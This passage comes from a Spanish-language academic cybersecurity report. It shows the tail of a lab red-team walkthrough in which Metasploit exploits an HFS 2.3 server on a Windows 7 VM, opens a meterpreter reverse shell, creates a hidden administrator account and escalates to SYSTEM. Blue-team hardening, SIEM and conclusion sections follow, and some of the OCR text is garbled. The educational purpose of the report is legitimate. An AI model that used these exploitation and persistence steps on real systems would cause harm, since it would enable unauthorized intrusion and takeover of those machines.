RHOSTS yes t(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT E: yes (Tcp)

SRVHOST .0.0. yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT ¢ yes The local port to listen on.

ssL no Negotiate SSL/TLS for outgoing connections

ssLcert no Path to a custom SSL certificate (default is randomly generated)

TARGETURL yes The path of the web application

URIPATH no The URI to use for this exploit (default is random)

VHOST no HTTP server virtual host

Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
EXITFUNC proc yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.0.17 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name

Automatic

msf6 exploit(

Fuente: Propia.

Configurar RHOSTS que es el host objetivo.

llustracion 37 Configuracion de host objetivo
msf6 exploit( ) » set rhosts 192.168.0.18

rhosts = 192.168.0.18
Fuente: Propia.

Iniciamos la explotacion de la vulnerabilidad.

llustracion 38 Explotando vulnerabilidad
msfé exploit( ) > exploit

Started reverse TCP handle
Using UR
Local IP
Server started.
Sending a malicious request to
Payload request received: /kABvpBjQiFs
sending stage (175174 bytes) to 192.168.0.18
[1] Tried to delete %TEMP%\YdifpULO.vbs, unknown result
Meterpreter session 1 opened (192.168.0.17:4444 — 192.168.0 : e p:17 -0400
Server stopped.

meterpreter > ||

Fuente: Propia.

Ya con la sesion del meterpreter, podemos ejecutar el siguiente comando
para abrir una sesion de comandos.
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llustracion 39 Comando para abrir ventana de comando windows
meterpreter > execute -H -f cmd.exe -i

Process 2488 created.

Channel 2 created.

Microsoft Windows [Versi®n 6.1.7601]

Copyright (c) 2009 Microsoft Corporation. Reservados todos los derechos.

C:\Users\usuario\Desktop>]]

Fuente: Propia.

Podemos manipular la maguina Windows 7 desde la sesidon de comandos,
se crea el usuario

llustracion 40 Comando para crear usuario en windows

C:\Users\usuario\Desktop>net user Daniel Beltran /add
net user Daniel Beltran /add
Se ha completado el comando correctamente.

Fuente: Propia.

Asignamos los permisos al usuario creado.

llustracién 41 Asignar grupo al usuario creado

C:\Users\usuario\Desktop>net localgroup Administradores Daniel_Beltran /add
net localgroup Administradores Daniel_Beltran /add

Se ha completado el comando correctamente.

Fuente: Propia.

Verificamos los usuarios de la maquina.

llustracion 42 Consulta de usuarios del objetivo

C:\Users\usuario\Desktop>net localgroup Administradores

net localg p Administradores

Nombre de as Administradores

Comentario Los administradores tienen acceso completo y sin restricciones al equipo o dominio

Miembros

Administrader

Daniel_Beltran

usuario

Se ha completado el comando correctamente.

Fuente: Propia.

Se verifican también el equipo por medio de las opciones de Windows.
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llustracion 43 Validacién en el host objetivo
% Win7-SE2020-X64 (Inicial) [Corriendo] - Oracle VM VirtualBox — O X

Archivo Méquina Ver Entrada Dispositivos Ayuda

e=

Panel de control

@Uv\jg« Tt b e @S

{2 HFS ~ HTTP File Server 2.3 Build 288

&l Menu | ) Port:80 | @i You arein Easy mode | i) Update now Elegir la cuenta que desee cambiar

[ Open in browser  hitp://192168.0.18/
Virtual File System

%/ 11:06:05 pm_ 192 168
11:06:06 p.m. 192.168
11:06:08 p.m. 192.168
11:06:08 p.m. 192.168
11:06:36 p.m. 192.168
11:06:36 p.m. 192.168
11:06:38 p.m. 192.168
11:06:38 p.m. 182.168
11:2012 p.m. 192.168
> x Open+'GET","http:/
= If+Err. Number+<>+0+]
> wsh_exit

> End+lf

> x.Send

= Execute+x.responseT)|
11:20-12 p.m. 192.168

<[

usuario
Administrador

Daniel_Beltran
Administrador

Invitado
La cuenta de invitado estd desactivada

Crear una nueva cuenta

#Qué es una cuenta de usuario?

W8 IP address O File
Acciones adicionales que se pueden realizar

) Configurar Centrol parental

Irala pagina principal de Cuentas de usuario

Out: 0.0KB/s  In: 0.0 KB/s

@ - 0 e \&/ ﬁ e

] & 0 [= T [#) orre berecha

Fuente: Propia.

Si necesitamos elevar privilegios, que no fue el caso, desde el meterpreter
ejecutamos los siguientes comandos.

llustracion 44 Elevacion de privilegios
meterpreter > getuid
Server username: PC202006%\usuario
meterpreter > getsystem

... got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

Fuente: Propia.

Ilgual que antes podemos abrir una sesién de comando con otro comando.
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llustracion 45 Ventana de comando con privilegios

meterpreter > shell

Process 2924 created.

Channel reated.

Mi ft Windows [Versi®n 6.1.7601]

Copyright (c) 2009 Microsoft Corporation. Reservados todos los derechos.

C:\Windows\system32>net localgroup Administradores
net localgroup nistradores
Nombre de alias Administradores

Comentario Los administradores tienen acceso completo y sin restricciones al equipo o dominio

Miembros

Administrador

Daniel_Beltran

usuario

Se ha completado el comando correctamente.

Fuente: Propia.

2.4. ANALISIS BLUE TEAM

2.4.1. Analisis con acciones necesarias para contener un ataque en tiempo
real.

En una organizacién inicialmente se debe identificar cual es el método de
ataque o las posibles vulnerabilidades que se estan explotaron. Esto se debe
explorar de acuerdo con el modelo de seguridad que se tenga implementado,
y sus pasos predefinidos para poder reducir los dafios a la organizacion.

e Lo primero seria identificar mediante analisis de pentesting posibles focos
gue se encuentren activos, y poder detectar la vulnerabilidad explotada
en los hosts comprometidos.

e Es esencial la identificacion de los hosts comprometidos para poder
aislarlos y no tener que deshabilitar todos los servicios o el resto de los
dispositivos que hagan parte de la infraestructura tecnolégica.

e Al contener el ataque a los dispositivos comprometidos podemaos prevenir
el pivoting el cual puede comprometer todos los demas sistemas que
puedan tener conexion con los equipos comprometidos.

e Se realiza una copia forense de los equipos infectados para
posteriormente poder analizarlos y detectar las vulnerabilidades
explotadas, y entender el nivel de impacto que tuvo el ataque.

e Creando un ambiente controlado con las copias forenses utilizamos las
diferentes herramientas gratuitas que existen para validar las
vulnerabilidades de los equipos, podemos utilizar Metasploit, combinado
con NMAP. También tenemos Armitage y otras.

e Validadas las vulnerabilidades con herramientas de pentesting, buscamos
los posibles exploits utilizados en el atagque para poder ejecutar los
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controles necesarios en los equipos o0 demas hosts de la red que puedan
llegar a tener esta vulnerabilidad.

e Ya con la explotacién ejecutada en el laboratorio, validamos que posibles
afectaciones pudimos tener que no se tuvieron en cuenta, y validamos si
necesitamos ampliar la busqueda en algun equipo en produccion que alla
sido atacado posiblemente.

2.4.2. Informe de acciones de hardenizacion a implementar para evitar que
sucedan ataques de seguridad informatica.

Ya con el proceso del laboratorio desarrollado por el grupo redteam, tienen
claras varias falencias que se deben corregir para mitigar y reducir las
vulnerabilidades de nuestro servidor.

Se tomarian las siguientes medidas de hardenizacién:

e Inicialmente debemos validar los usuarios que usan los dispositivos, ya
gue si no requieren tener privilegios de administracion se deben suprimir
y solo tener autorizacién a ejecutar lo autorizado.

e Actualizar todo el software que se esté usando, ya se sistema operativo,
aplicaciones, antivirus, etc.

e Validar los puertos habilitados en el host, y corregir o cerrar todo posible
puerto que pueda generar alguna vulnerabilidad.

e Validar los usuarios afectados, y cambiar las credenciales de estos.

e Verificar si todos los usuarios del dispositivo son necesarios, o solo se
deberia tener uno de consulta o produccion.

e Implementar seguridad con un firewall, que permita la identificacion de
vulnerabilidades, como IDS, IPS, y otras.

e Implementar politicas de seguridad que permitan, limitar el alcance de los
usuarios, y prevenir mediante estandares de configuracion.

e Subdividir la red si es posible, para tener asilados servicios que no deban
estar a posibles accesos malintencionados.

2.4.3. Analisis sobre las diferencias entre el equipo de Blue Team y el equipo
de respuesta a incidentes informéticos.

El equipo blueteam es normalmente un grupo interno que tiene la compaifiia,
y se encuentra en constante busqueda de las falencias y vulnerabilidades
gue se puedan encontrar sobre la infraestructura tecnoldgica de la empresa,
de alli pueden aplicar o implementar procedimientos que permitan corregir
estas fallas, el equipo blue team constantemente se encuentra monitorizando
la infraestructura para detectar ataques en vivo, también tiene la tarea de
implementar y desarrollar procedimientos que permita mejorar las politicas y
estrategias del compaiiia en el area de seguridad informatica.

47



El CSIRT esta enfocado a la investigacion e indagacion sobre un evento, ya
sea en vivo 0 que haya sucedido, y tiene similitud con el blueteam, ya que
también deben evaluar y analizar la infraestructura tecnoldgica, pero ademas
deben localizar los sistemas afectados y activar los sistemas de recuperacion
para restablecer los servicios tecnoldgicos de la compaiiia, sus principales
objetivos son los de contener, erradicar y recuperar los sistemas de
informacion ante algun evento de seguridad.

2.4.4. Analisis sobre la pertinencia de trabajar con CIS “Center For Internet
Security” como propuesta de aseguramiento por parte de un equipo de
Blue Team.

Primero tenemos dar la definicion de CIS, esta es una organizacion sin fines
de lucro impulsada por la comunidad, responsable de CIS Controls y CIS
Benchmarks, las mejores practicas reconocidas a nivel mundial para proteger
los sistemas y datos de TI. Lideramos una comunidad global de profesionales
de TI para hacer evolucionar continuamente estos estandares y proporcionar
productos y servicios para protegerse de manera proactiva contra las
amenazas emergentes. Nuestras CIS Hardened Images proporcionan
entornos informaticos escalables, seguros y bajo demanda en la nube.®®

Nos permite implementar pautas que puedan ser usadas para proteger los
sistemas y dispositivos tecnoldgicos, como lo son configuraciones adecuadas
en hardware o software, ya sean equipos de computo, dispositivos moviles o
servidores.

Podemos utilizar las CIS para desarrollar una estructura del programa de
seguridad de la informacién, y una normativa que permita una metodologia
de seguridad optima con funciones claras. Implementando estas buenas
practicas, podemos tener unas acciones defensivas que permitiran prevenir
los ataques a la infraestructura tecnoldgica.

2.4.5. Analisis sobre las funciones y caracteristicas principales de un SIEM.

Las principales caracteristicas de SIEM son las de proveer andlisis en tiempo
real de alertas que puedan sean identificadas como peligrosas, ya sean
generadas por equipos de redes o aplicaciones. Podemos definir que SIEM
estd basado en 2 métodos de administracion, uno es el SIM que representa
la Gestion de Informacion de Seguridad la cual estd encargada almacenar la
informacion, como también de analizarla, el otro es el SEM - Gestion de

15 (Center for Internet Security, 2021)
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Eventos de Seguridad este tiene como objetivo principal el monitoreo en
tiempo real, validar los eventos si tiene relacion.

Principales funciones:

Identificar entre falsos positivos y ataques reales.

Centraliza el monitoreo de todas las amenazas potenciales.

Genera alertas redirigidas dependiendo de la clasificacion de las alertas.
Genera un analisis de conocimiento sobre los incidentes para una facil
resolucion.

Registra y documenta todas las etapas en un proceso de detencion,
actuacion y resolucion.

Cumple con la legislacion y normas actuales, en proteccion de datos y
seguridad.

El software SIEM funciona recopilando datos de eventos y registros
generados por las aplicaciones, los dispositivos de seguridad y los sistemas
host de una organizacion y reuniéndolos en una Unica plataforma
centralizada. SIEM recopila datos de eventos antivirus, registros de firewall y
otras ubicaciones, clasifica estos datos en categorias.®

2.4.6. Informe de eleccion de 3 herramientas que permitan contener ataques

informaticos.

Firewall: Principal mente se podria implementar utilizando hardware que
ya viene con licencias que permiten tener controles que ayudan a la
contencion de ataques, pero también existen las versiones open source
como pfsense o0 opnsense, estos permiten implementar una seguridad
perimetral e interna, dependiendo de su configuracién limitando el trafico
gue pueda estar en nuestra red, de acuerdo con los controles que se
implemente. Tenemos controles de IPS, IDS, restricciones en puertos,
bloqueos de hosts, etc.

Wazuh: esta catalogado como un SIEM, el cual es un excelente sistema
de deteccion de intrusos, realiza analisis de los hosts, comprobando la
integridad, detectando rootkits, también tiene generacion de alertas, esta
licenciada bajo software libre, y funciona en multiples sistemas operativos.

OSSIM: también es un SIEM, el cual se basa en un conjunto de
herramientas, que se encuentra bajo licenciamiento libre, y sirve para
administradores de red, ayuda a mejorar la seguridad, como también la

16 (FIREEYE, 2021)
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deteccion de intrusos y la prevencion. Con controles de correlacion,
detalle a diferentes niveles, y reporte de incidentes.

SIEM de codigo abierto aborda esta realidad al proporcionar una
plataforma unificada con muchas de las capacidades de seguridad
esenciales que necesita, como:

Descubrimiento de activos
Evaluacion de vulnerabilidad
Deteccidén de intrusiones
Monitoreo de comportamiento
Correlacion de eventos SIEMY?

O O O O O

2.5.ASPECTOS QUE APORTEN AL DESARROLLO DE ESTRATEGIAS DE
REDTEAM & BLUETEAM

Basados en las experiencias adquiridas es fundamental el trabajo en equipo y la
planeacién de las estrategias que se vayan a aplicar a los equipos. Algunos
aspectos importantes serian:

e Comunicacion entre equipos: Se debe tener un canal de comunicacion
entre los equipos para que se permita conocer los avances en cada
aspecto de los equipos, como también las investigaciones que se estén
adelantando.

e Planes de accidén: Se debe tener documentadas las actividades que se
estén realizando por parte de los equipos, para poder tener a detalle todas
sus labores y realizar continuamente retroalimentacion para mejorar
procesos.

e Capacitacion: Es fundamental tener una constante capacitacion de los
equipos, ya que las afectaciones cibernéticas se actualizan y mejoran en
todo momento.

e Pruebas: Es fundamental tener practicas de ataques, simulacion de
restauracion de desastres, todo lo que conlleve a validar los panes que
se tengan establecidos, y asi recrear incidentes que puedan mejorar la
respuesta de los equipos.

17 (AT&T, 2021)
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2.6.RECOMENDACIONES PARA EL PLANTEAMIENTO DE ESTRATEGIAS

QUE PERMITAN ENDURECER LOS ASPECTOS DE SEGURIDAD EN
UNA ORGANIZACION

La implementacion de los equipos Red team y Blue team, son primordiales
cuando se vela por una infraestructura robusta, y tener estos 2 equipos
trabajando por la proteccion de los sistemas, fortalece notablemente los
aspectos de seguridad informatica.

Las politicas de seguridad son la pauta para lograr una mejor seguridad, ya
gue nos permite tener controles que podemos ir evaluando constantemente,
y mejorar o actualizarlos.

Es recomendable tener las configuraciones tanto de software como de los
equipos, los mas orientadas a la seguridad, sin dejar escapar ningun
dispositivo.

Implementacion los estandares de CIS, ayudaria a fortalecer las buenas
practicas y mejorar notablemente la seguridad de los sistemas y dispositivos.
Implementar sistemas de control SIEM, es muy recomendable ya que ayuda
a identificar ataques, y centralizar el monitoreo de la infraestructura.
Constante capacitacion, tanto del personal de seguridad como de los
empleados, con campafias de ensefianza, sobre las amenazas cibernéticas
a las que pueden llegar a tener sus labores.

La actualizacion y parcheo constante de nuestros sistemas, ya que son base
fundamental para controlar las amenazas que surgen dia a dia.
Implementacion de sistemas de control como FIREWALL, VPN,
Segmentacién de las redes, y muchas mas herramientas o metodologias que
ayudan a mejorar la seguridad.

2.7.CONCLUSIONES QUE PERMITAN LA CONSTRUCCION DEL

CONOCIMIENTO DESDE EL ENFOQUE DE LA CIBERSEGURIDAD

La ciber seguridad es un area que siempre va a estar en constante evolucion,
y por eso es primordial que los profesionales de esta carrera se concienticen
en lo importante que es la, mejora continua, ya que dia a dia se ven nuevas
vulnerabilidades que pueden saltarse nuestras defensas cibernéticas.

En este informe se plasma la importancia de los equipos Red team y Blue
team, y lo importantes que son para las organizaciones, ya que
constantemente velan por la proteccion de la informacion, ya sea analizando
vulnerabilidades, o monitoreando la infraestructura.
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Es muy importante tener diferentes herramientas que permitan evaluar la
seguridad, como vimos en este proyecto, existen muchas aplicaciones con
diferentes propdsitos, que nos ayudan a mejorar notablemente la seguridad
informéatica, y como plus que existen muchas versiones libres a disposicion.
Es importante tener auditorias cada determinado tiempo, con un ente
externo, ya que nos ayuda a romper paradigmas que a veces se crean, al
realizar cotidianamente las mismas labores de seguridad.

52



CONCLUSIONES

Reconocer e identificar las leyes y decretos que se rigen en la ley colombiana,
referente a delitos informéaticos y tratamiento de datos, para poder tener claro
hasta donde va la linea invisible que nos permite practicar actividades o
simulaciones de ataques sin llegar a infringir las leyes estipuladas.

Es muy importante para las compaiiias, practicar pruebas de penetracion o
auditarias de los sistemas, para identificar las vulnerabilidades y riesgos a los
gue estan expuestos, y conocer las posibles afectaciones a las que tendrian
lugar si llegan a ser victimas de ciber delincuentes.

Es indispensable conocer las etapas en las pruebas de penetracion, como
también las herramientas mas comunes que se usan en estas actividades, ya
que nuestra labor como especialistas en seguridad de la informacion nos llevan
a siempre estar evaluando los sistemas que tengamos a nuestro cargo.

Por medio de estas actividades, se puede conocer detalladamente los diferentes
conceptos éticos que existen en el codigo de ética Copnia, y como debemos
aplicar este manual, a las diferentes tareas que ejecutamos diariamente en el
ambito profesional.

Se pudieron aplicar conceptos sobre las leyes y decretos que se rigen en la ley
colombiana, referente a delitos informaticos y tratamiento de datos, esto
validando las posibles infracciones que se pueden vulnerar segun las
actividades que se practiquen profesionalmente.

Para las compafiias es primordial, tener claras las leyes estipuladas en sus
actividades operacionales, para no llegar a incurrir en ninguna actividad ilicita
ante la ley, también se entiende que en algunos casos existen empresas que
quieren aprovechar la ingenuidad o necesidad de los profesionales que acceden
a ofertas laborales para realizar actividades poco éticas o ilicitas.

En el desarrollo de estas pruebas técnicas, se pudo experimentar los procesos
gue se realizan desde el area de red team, y se culmind un proyecto de
pentesting enmarcado en las buenas practicas.

También se profundizo en las aplicaciones de software utilizadas, y se pudieron
mejorar los conocimientos sobres estas, como también el alcance que se tiene
al usar solo software libre.
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Se pudo efectuar un analisis completo de un ataque a una maquina Windows 7,
comprendiendo las vulnerabilidades que existen al tener herramientas y
sistemas operativos desactualizados.

Es muy importante para las compafias, tener implementadas las politicas de
seguridad que ayudan a mitigar este tipo de vulnerabilidades.

Podemos tener claro que el malware actual, requiere la ayuda de los usuarios
para explotar las vulnerabilidades que puedan existir en nuestras plataformas,
por eso debemos tener herramientas que nos permitan tener un analisis o
monitoreo envid que ayuden a mitigar y evaluar la infraestructura tecnoldgica de
las compafias.

La imaginacién de los hackers constantemente estd en evolucién, y por eso
siempre existen nuevas vulnerabilidades dia a dia, por eso es indispensable
tener equipos o implementacion como las vistas en esta actividad para proteger
nuestra informacion
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e Anexo A Video sustentacion:

https://youtu.be/bLVaYT zlrw
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